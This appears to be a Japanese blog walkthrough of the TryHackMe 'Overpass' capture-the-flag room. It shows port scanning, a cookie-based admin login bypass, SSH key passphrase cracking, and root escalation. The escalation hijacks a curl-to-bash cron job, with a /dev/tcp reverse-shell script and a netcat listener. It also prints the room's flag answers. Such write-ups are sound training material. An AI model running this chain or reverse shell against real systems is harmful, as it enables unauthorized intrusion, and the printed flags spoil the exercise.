0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【TryHackMe】Overpass:Walkthrough

Posted at

概要

TryHackMe「Overpass」のWalkthroughです。

Task1

Q1.Hack the machine and get the flag in user.txt

Hint.OWASP Top 10 Vuln! Do NOT bruteforce.

ポートスキャンを実行します。

$ nmap -Pn -T4 -A -sC -sV -p- 10.10.223.162 -oN nmap_result
PORT      STATE    SERVICE        VERSION
22/tcp    open     ssh            OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 37:96:85:98:d1:00:9c:14:63:d9:b0:34:75:b1:f9:57 (RSA)
|   256 53:75:fa:c0:65:da:dd:b1:e8:dd:40:b8:f6:82:39:24 (ECDSA)
|_  256 1c:4a:da:1f:36:54:6d:a6:c6:17:00:27:2e:67:75:9c (ED25519)
80/tcp    open     http           Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Overpass

ポートの稼働状況が分かりました。

ポート サービス バージョン
22 ssh OpenSSH 7.6p1
80 http Golang net/http server

ディレクトリ列挙をします

$ dirsearch -u http://10.10.223.162
[01:37:59] 200 -  782B  - /404.html
[01:38:39] 200 -    2KB - /downloads/
[01:38:06] 200 -    1KB - /admin.html
[01:38:07] 200 -    1KB - /admin/
[01:38:57] 200 -    2KB - /login.js
[01:38:58] 200 -   28B  - /main.js

/adminにアクセスするとログインページが表示されました。

admin login form.jpg

ソースコードを見るとlogin.jsでログイン処理を行っています。

login.js
async function postData(url = '', data = {}) {
    // Default options are marked with *
    const response = await fetch(url, {
        method: 'POST', // *GET, POST, PUT, DELETE, etc.
        cache: 'no-cache', // *default, no-cache, reload, force-cache, only-if-cached
        credentials: 'same-origin', // include, *same-origin, omit
        headers: {
            'Content-Type': 'application/x-www-form-urlencoded'
        },
        redirect: 'follow', // manual, *follow, error
        referrerPolicy: 'no-referrer', // no-referrer, *client
        body: encodeFormData(data) // body data type must match "Content-Type" header
    });
    return response; // We don't always want JSON back
}
const encodeFormData = (data) => {
    return Object.keys(data)
        .map(key => encodeURIComponent(key) + '=' + encodeURIComponent(data[key]))
        .join('&');
}
function onLoad() {
    document.querySelector("#loginForm").addEventListener("submit", function (event) {
        //on pressing enter
        event.preventDefault()
        login()
    });
}
async function login() {
    const usernameBox = document.querySelector("#username");
    const passwordBox = document.querySelector("#password");
    const loginStatus = document.querySelector("#loginStatus");
    loginStatus.textContent = ""
    const creds = { username: usernameBox.value, password: passwordBox.value }
    const response = await postData("/api/login", creds)
    const statusOrCookie = await response.text()
    if (statusOrCookie === "Incorrect credentials") {
        loginStatus.textContent = "Incorrect Credentials"
        passwordBox.value=""
    } else {
        Cookies.set("SessionToken",statusOrCookie)
        window.location = "/admin"
    }
}

下記コード部分に注目するとレスポンスがIncorrect Credentials以外の時は、CookieにSessionTokenという名前でレスポンスを値としてセットし、/adminにアクセスしています。

login.js
const statusOrCookie = await response.text()
if (statusOrCookie === "Incorrect credentials") {
    loginStatus.textContent = "Incorrect Credentials"
    passwordBox.value=""
} else {
    Cookies.set("SessionToken",statusOrCookie)
    window.location = "/admin"
}

Cookieの値を検証していないので、SessionTokenという名前でセットし、/adminにアクセスすると認証をバイパスできました。

success admin panel.jpg

JamesのSSH秘密鍵を得られました。
SSH接続を試みるとパスフレーズを求められました。

$ ssh -i id_rsa james@10.10.35.242
Enter passphrase for key 'id_rsa': 
james@10.10.35.242's password:

JohnTheRipperで解析します。

$ ssh2john id_rsa > id_hash.txt
$ john id_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
james13          (id_rsa)

パスフレーズが判明したのでSSH接続に成功しました。

$ ssh -i id_rsa james@10.10.35.242                            
Enter passphrase for key 'id_rsa':
james@overpass-prod:~$

/home/james/user.txtからユーザーフラグを入手できました。

/home/james/user.txt
thm{65c1aaf000506e56996822c6281e6bf7}

A.thm{65c1aaf000506e56996822c6281e6bf7}

Q2.Escalate your privileges and get the flag in root.txt

todo.txtを確認すると暗号化強度が弱いと指摘されています。

/home/james/todo.txt
To Do:
> Update Overpass' Encryption, Muirland has been complaining that it's not strong enough
> Write down my password somewhere on a sticky note so that I don't forget it.
  Wait, we make a password manager. Why don't I just use that?
> Test Overpass for macOS, it builds fine but I'm not sure it actually works
> Ask Paradox how he got the automated build script working and where the builds go.
  They're not updating on the website

Webサイトからダウンロードできるoverpass.goのソースコードを見るとROT47でパスワードを暗号化しているようです。

overpass.go
//Decrypt passwords
buff = []byte(rot47(string(buff)))

ターゲットマシンの/home/james/.overpassを確認すると暗号化された文字列を発見しました。

/home/james/.overpass
,LQ?2>6QiQ$JDE6>Q[QA2DDQiQD2J5C2H?=J:?8A:4EFC6QN.

ROT47で復号すると、名前とパスワードを得られました。
しかし、使用できる個所は見つけられませんでした。

rot47 decrypt.jpg

Cronジョブを確認するとbuildscript.shがroot権限で動作していることが分かりました。

* * * * * root curl overpass.thm/downloads/src/buildscript.sh | bash

curlコマンドでoverpass.thmドメイン内のスクリプトをダウンロードしているので、/etc/hostsファイルからoverpass.thmの名前解決をKaliのIPに編集します。

127.0.0.1 localhost
127.0.1.1 overpass-prod
10.6.55.144 overpass.thm

Kaliにディレクトリを作成します。

$ mkdir -p downloads/src

ローカルにリバースシェルのスクリプトファイルを作成します。

downloads/src/buildscript.sh
#!/bin/sh
sh -i >& /dev/tcp/10.6.55.144/1234 0>&1

Netcatでリッスンします。

$ nc -lvnp 1234

httpサーバーを立ち上げてしばらく待つと、ターゲットマシンからアクセスがあります。

$ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.35.242 - - [16/Sep/2024 09:33:38] "GET /downloads/src/buildscript.sh HTTP/1.1" 200 -

Netcatを確認するとrootでリバースシェルが張れています。

$ nc -lvnp 1234                                            
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.35.242] 58198
sh: 0: can't access tty; job control turned off
# whoami
root

/root/root.txtからルートフラグを入手できます。

/root/root.txt
thm{7f336f8c359dbac18d54fdd64ea753bb}

A.thm{7f336f8c359dbac18d54fdd64ea753bb}

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?